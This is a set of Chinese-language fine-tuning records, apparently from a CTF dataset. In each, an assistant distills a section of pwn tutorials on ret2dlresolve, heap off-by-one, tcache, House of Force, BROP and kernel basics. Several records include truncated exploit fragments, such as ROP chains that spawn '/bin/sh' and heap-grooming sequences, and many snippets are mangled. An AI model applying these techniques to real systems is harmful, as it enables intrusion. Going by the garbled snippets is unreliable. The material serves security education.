{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6a30e1121aa664222e27", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「print(rop.dump())」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：print(rop.dump())\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“print(rop.dump())”展开。\n- assert(len(rop.chain())<=256) rop.raw(\"a\"*(256-len(rop.chain()))) p.send(rop.chain()) p.send(p32(0x080498E0)) p.send(dynstr) p.send(\"/bin/sh\\x00\") p.interactive() ```\n- ``python ❯ python exp-no-relro.py [+] Starting local process './main_no_relro_32': pid 35093 [] '/mnt/hgfs/ctf-challenges/pwn/stackoverflow/ret2dlresolve/2015-xdctf-pwn200/32/no-relro/main_no_relro_32' Arch: i386-32-little RELRO: No RELRO Stack: No canary f...\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 1 行，首行 `运行效果如下`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 613, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "print(rop.dump())", "heading_path": ["print(rop.dump())"], "original_id": "docs-cec18e267246a5d19fec", "original_line": 1307, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "31b29915d3f9edaa25225af1", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6a6f09899969fb3983f4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「https://github.com/Gallopsled/pwntools/blob/5db149adc2/pwnlib/rop/ret2dlresolve.py#L237」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：https://github.com/Gallopsled/pwntools/blob/5db149adc2/pwnlib/rop/ret2dlresolve.py#L237\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“https://github.com/Gallopsled/pwntools/blob/5db149adc2/pwnlib/rop/ret2dlresolve.py#L237”展开。\n- rop.read(0,dlresolve.data_addr) rop.ret2dlresolve(dlresolve) raw_rop = rop.chain() io = process(\"./main_partial_relro_32\") io.recvuntil(\"Welcome to XDCTF2015~!\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 1 行，首行 `结果如下`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 829, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "https://github.com/Gallopsled/pwntools/blob/5db149adc2/pwnlib/rop/ret2dlresolve.py#L237", "heading_path": ["https://github.com/Gallopsled/pwntools/blob/5db149adc2/pwnlib/rop/ret2dlresolve.py#L237"], "original_id": "docs-ddfde8fc23b209935c6e", "original_line": 1334, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "6bdbc51a9df067ef0b8d1dc8", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6a7d0ce4eacb81fd8775", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md` 中的章节「_Shadow SSDT：GUI程序的 SSDT_」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md`\n标题：基础知识\n章节：基础知识 > 系统调用 > 二、系统服务描述符表 > _Shadow SSDT：GUI程序的 SSDT_\n路径分类：pwn / pwn/windows/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“_Shadow SSDT：GUI程序的 SSDT_”展开。\n- 影子系统服务描述符表（Shadow System Service Descriptor Table，简称 Shadow SSDT ）是GUI 程序所专用的一张 SSDT，相比起 SSDT 而言其额外多了一张负责图形相关系统调用的子表 W32pServiceTable ，位于 win32k.sys 即 图形子系统 中： > SSDT 和 Shadow SSDT 第一张子表都是 KiServiceTable ，对应 NT kernel 的常规系统调用。\n- [图片: 注意这里指向 SystemServiceTable 不是指针而是展开;\n\n关键术语：\n- pwn\n- windows\n- kernel-mode\n- basic-knowledge\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 673, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "_Shadow SSDT：GUI程序的 SSDT_", "heading_path": ["基础知识", "系统调用", "二、系统服务描述符表", "_Shadow SSDT：GUI程序的 SSDT_"], "original_id": "docs-d0b8ecea09b558e4cc9e", "original_line": 1461, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "source_root": "docs", "source_sha256": "dffe9072413dc248a151b1fce985a46c7e465f5387c687ba5f3287e4acd99fc6", "split": "train", "split_group_key": "a68fc065b1b72436d07d15df", "subcategory": "pwn/windows/kernel-mode", "terms": ["pwn", "windows", "kernel-mode", "basic-knowledge"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6ad304322fa91bb832df", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「49」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`\n标题：堆中的 Off-By-One\n章节：49\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“49”展开。\n- add(0x2A50,'addralign') # 50 #add(0x4A50,'addralign') # 50\n- add(0xFF8,'large bin') # 51 add(0x18,'protect') # 52\n- delete(51) add(0x2000,'push to large bin') # 51 add(0x28,p64(0) + p64(0x241) + '\\x28') # 53 fd->bk : 0xA0 - 0x18\n- add(0x28,'pass-loss control') # 54 add(0xF8,'pass') # 55 add(0x28,'pass') # 56 add(0x28,'pass') # 57 add(0x28,'pass') # 58 add(0x28,'pass') # 59 add(0x28,'pass-loss control') # 60 add(0x4F8,'to be off-by-null') # 61\n- for i in range(7): add(0x28,'tcache') for i in range(7): delete(61 + 1 + i)\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 597, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "49", "heading_path": ["49"], "original_id": "docs-9fea098f45ae156360ad", "original_line": 1028, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "source_root": "docs", "source_sha256": "c9420c20a42485b6b155210d4899dbe07dde5bd50311698d2cedbba97b522cfe", "split": "train", "split_group_key": "ced7f3c4aa5c781f449fca55", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap"], "title": "堆中的 Off-By-One"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6bc5d70122906fd1009c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「construct rop chain」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：construct rop chain\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“construct rop chain”展开。\n- rop.raw(plt0) rop.raw(index_offset) rop.raw('bbbb') # fake ret addr of write rop.raw(1) rop.raw(base_stage + 80) rop.raw(len(sh)) rop.raw(fake_write_reloc) # fake write reloc rop.raw('a' align) # padding rop.raw(fake_write_sym) # fake write symbol rop.raw('...\n- ``shell ❯ python stage5.py [] '/mnt/hgfs/ctf-challenges/pwn/stackoverflow/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro/main_partial_relro_32' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Sta...\n- 事实上，这里的 index_dynsym 又发生了变化，但似乎并不影响，因此我们也不用再想办法伪造数据了。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 1 行，首行 `效果如下`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 982, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "construct rop chain", "heading_path": ["construct rop chain"], "original_id": "docs-2afc4b583b91b06b7683", "original_line": 1329, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "1c364db1b50286d939c9e4a5", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6ca1f04c7d6d7e3957f0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「基本思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`\n标题：中级ROP\n章节：中级ROP > BROP > 攻击原理 > 基本思路\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本思路”展开。\n- Build the exploit - 利用输出函数来 dump 出程序以便于来找到更多的 gadgets，从而可以写出最后的 exploit。\n- 在BROP中，基本的遵循的思路如下 - 判断栈溢出长度 - 暴力枚举 - Stack Reading - 获取栈上的数据来泄露canaries，以及ebp和返回地址。\n- Blind ROP - 找到足够多的 gadgets 来控制输出函数的参数，并且对其进行调用，比如说常见的 write 函数以及puts函数。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 237, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "基本思路", "heading_path": ["中级ROP", "BROP", "攻击原理", "基本思路"], "original_id": "docs-3ba96a2eaca83d1f1fc9", "original_line": 1283, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "source_root": "docs", "source_sha256": "2d11b5635ce2a11d71a4845a96933e353841718735da91048aa864c3d2273a3a", "split": "train", "split_group_key": "8a0ce66923868f91e3e47e9a", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "中级ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6d10b9aa136d3fcaf5ae", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md` 中的章节「小总结」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md`\n标题：House Of Force\n章节：House Of Force > 小总结\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“小总结”展开。\n- 在这一节中讲解了 House Of Force 的原理并且给出了两个利用的简单示例，通过观察这两个简单示例我们会发现其实HOF的利用要求还是相当苛刻的。\n- 其次，需要用户能自由控制 malloc 的分配大小 * 第三，分配的次数不能受限制 其实这三点中第二点往往是最难办的，CTF 题目中往往会给用户分配堆块的大小限制最小和最大值使得不能通过HOF 的方法进行利用。\n- 首先，需要存在漏洞使得用户能够控制 top chunk 的 size 域。\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 230, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "小总结", "heading_path": ["House Of Force", "小总结"], "original_id": "docs-c641dae25998eeb5a374", "original_line": 979, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md", "source_root": "docs", "source_sha256": "27e5d508f1506ce1b54b9cd5ee0beed81d03242b5dc58c99c27d5a4a84d6cfa9", "split": "train", "split_group_key": "699ad545d3581f11edd70760", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "House Of Force"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6d92e02c69989885846d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md` 中的章节「define TCACHE_MAX_BINS 64」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md`\n标题：tcache\n章节：define TCACHE_MAX_BINS 64\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“define TCACHE_MAX_BINS 64”展开。\n- 用图表示大概是： [图片文件: https://i0.wp.com/tvax1.sinaimg.cn/large/006AWYXBly1fw87zlnrhtj30nh0ciglz.jpg]\n- counts 记录了 tcache_entry` 链上空闲 chunk 的数目，每条链上最多可以有 7 个 chunk。\n- `` 每个 thread 都会维护一个 tcache_perthread_struct，它是整个 tcache 的管理结构，一共有 TCACHE_MAX_BINS 个计数器和 TCACHE_MAX_BINS项 tcache_entry，其中 - tcache_entry 用单向链表的方式链接了相同大小的处于空闲状态（free 后）的 chunk，这一点上和 fastbin 很像。\n- static __thread tcache_perthread_struct *tcache = NULL;\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 421, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "define TCACHE_MAX_BINS 64", "heading_path": ["define TCACHE_MAX_BINS 64"], "original_id": "docs-f10b37aa67ae776181bf", "original_line": 58, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md", "source_root": "docs", "source_sha256": "4de68a9fa4b9401f8336e24b35eadac2ba7ac5f85ff862f309421b9ce8c82db8", "split": "train", "split_group_key": "4d87e2616d0e44e7c42a3ac8", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap"], "title": "tcache"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6d9672a3a01f41247df8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/basic-knowledge/cpu-virtualization.md` 中的章节「VMCS」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/basic-knowledge/cpu-virtualization.md`\n标题：CPU 虚拟化\n章节：CPU 虚拟化 > 硬件辅助虚拟化 > VMCS\n路径分类：pwn / pwn/virtualization/basic-knowledge\n分块：1/1\n\n核心知识点：\n- VMCS（Virtual-Machine Control Structure）是用以保存 CPU 虚拟化所需要的相关状态的一块内存，每个 virtual CPU 对应有一个 VMCS，同一时刻一个物理 CPU 只能与一个 VMCS 绑定，反之亦然，但在不同的时刻我们可以将 VMCS 绑定到不同的物理 CPU 上，称之为 VMCS 的迁移（Migration）。\n- / 中止标识，4字节 当 VM-Exit 失败时便会产生 VMX 中止，并在此处存放原因 / uint32_t vmx_abort_indicator;\n- > > 当然，要把所有域的索引都背下来并不现实，最好的办法还是多多查表：）推荐阅读：Intel SDM 的 [Intel® 64 and IA-32 Architectures Software Developer's Manual Volume 3C: System Programming Guide, Part 3](https://cdrdv2.intel.com/v1/dl/getContent/671506)。\n- 与 VMCS 的绑定与解绑相关的是以下两条指令： | Instruction | Description | | :-----------------: | :---------------------------------------: | | VMPTRLD  | 将指定的 VMCS 与执行该指令的 CPU 进行绑定 | | VMCLEAR | 将执行该指令的 CPU 与其 VMCS 进行解绑 | VT-x 中将 VMCS 定义为一个最大不超过 4KB 的内存块，且应与 4KB 对齐，...\n- / 数据域 */ struct VMCSData vmcs_data;\n\n关键术语：\n- pwn\n- virtualization\n- basic-knowledge\n- cpu-virtualization.md\n- code:c\n\n代码/命令片段线索：\n- c: 10 行，首行 `struct VMCS {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1750, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "VMCS", "heading_path": ["CPU 虚拟化", "硬件辅助虚拟化", "VMCS"], "original_id": "docs-64e52fb5325a7567d7f5", "original_line": 1405, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/cpu-virtualization.md", "source_root": "docs", "source_sha256": "62195df706a3b215353c99b8c10a0bc6fd7a8ba0630c446bc0dd344eae945033", "split": "train", "split_group_key": "d22f81d2e57597fb23987923", "subcategory": "pwn/virtualization/basic-knowledge", "terms": ["pwn", "virtualization", "basic-knowledge", "cpu-virtualization.md", "code:c"], "title": "CPU 虚拟化"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/cpu-virtualization.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6da92c7a0e2c1367364c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md` 中的章节「REFERENCE」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md`\n标题：Page-level UAF\n章节：Page-level UAF > REFERENCE\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“REFERENCE”展开。\n- [[D^3CTF 2023] d3kcache: From null-byte cross-cache overflow to infinite arbitrary read & write in physical memory space.](https://github.com/arttnba3/D3CTF2023_d3kcache) 【PWN.0x02】Linux Kernel Pwn II：常用结构体集合\n\n关键术语：\n- UAF\n- 边界/溢出\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 278, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "REFERENCE", "heading_path": ["Page-level UAF", "REFERENCE"], "original_id": "docs-4b979bb320af255a401b", "original_line": 42, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "source_root": "docs", "source_sha256": "9556b48cfce4fb3e87c0e04e6cd2793e0719241e2bc305a1f292d6b02d17d186", "split": "train", "split_group_key": "948ce6f17c21cd458a984578", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "边界/溢出", "堆", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Page-level UAF"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6e6c6330433827e962d5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「libc leak」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`\n标题：tcache makes heap exploitation easy again\n章节：define TCACHE_FILL_COUNT 7 > 0x03 Pwn Tcache > libc leak\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“libc leak”展开。\n- 在以前的libc 版本中，我们只需这样： ``c #include  #include  int main() { long a = malloc(0x1000);\n- } ` 但是在2.26 之后的 libc 版本后，我们首先得先把tcache 填满： `c #include  #include  int main(int argc , char argv[]) { long t[7];\n- } ` 之后，我们就可以 leak libc 了。\n- // a is put in an unsorted bin because the tcache bin of this size is full printf(\"%p\\n\",a[0]);\n- // make tcache bin full for(int i=0;\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n- code:bash\n\n代码/命令片段线索：\n- c: 9 行，首行 `#include `\n- c: 16 行，首行 `#include `\n- bash: 24 行，首行 `gdb-peda$ heapinfo`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1465, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "libc leak", "heading_path": ["define TCACHE_FILL_COUNT 7", "0x03 Pwn Tcache", "libc leak"], "original_id": "docs-d6f775d32e317da46186", "original_line": 1052, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "source_root": "docs", "source_sha256": "37eb8bd9e0addea4340fa8d86115193239ec930263e815b614220939fd397eaa", "split": "train", "split_group_key": "13fc6a17e708cd4bd3a89a3d", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:c", "code:bash"], "title": "tcache makes heap exploitation easy again"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "split": "train", "type": "ctf_lora_sft"}
